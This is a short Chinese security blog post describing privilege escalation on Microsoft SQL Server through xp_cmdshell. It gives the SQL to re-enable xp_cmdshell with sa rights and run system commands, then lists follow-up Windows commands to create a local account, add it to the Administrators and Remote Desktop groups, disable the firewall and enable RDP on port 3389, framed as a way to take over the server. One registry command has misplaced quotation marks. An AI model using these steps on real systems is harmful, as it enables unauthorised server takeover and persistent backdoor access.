MSSQL数据库提权之XP_cmdshell提权

xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它。

启用xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

调用xp_cmdshell执行系统权限

 EXEC master..xp_cmdshell 'whoami';

至此,提权完毕(可通过添加账户等拿下该服务器权限)

添加用户、加入管理员组、关闭防火墙、开启3389等命令
#添加用户
net user {username} {password} /add
#将新添加的用户加入管理员组
net localgroup Administrators {username} /add
#将新添加的用户加入远程桌面组
net localgroup “Remote Desktop Users” {username} /add
#关闭系统防火墙
netsh advfirewall set allprofiles state off/on
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
posted @ 2023-01-08 10:00  小阿辉谈安全  阅读(876)  评论(0编辑  收藏  举报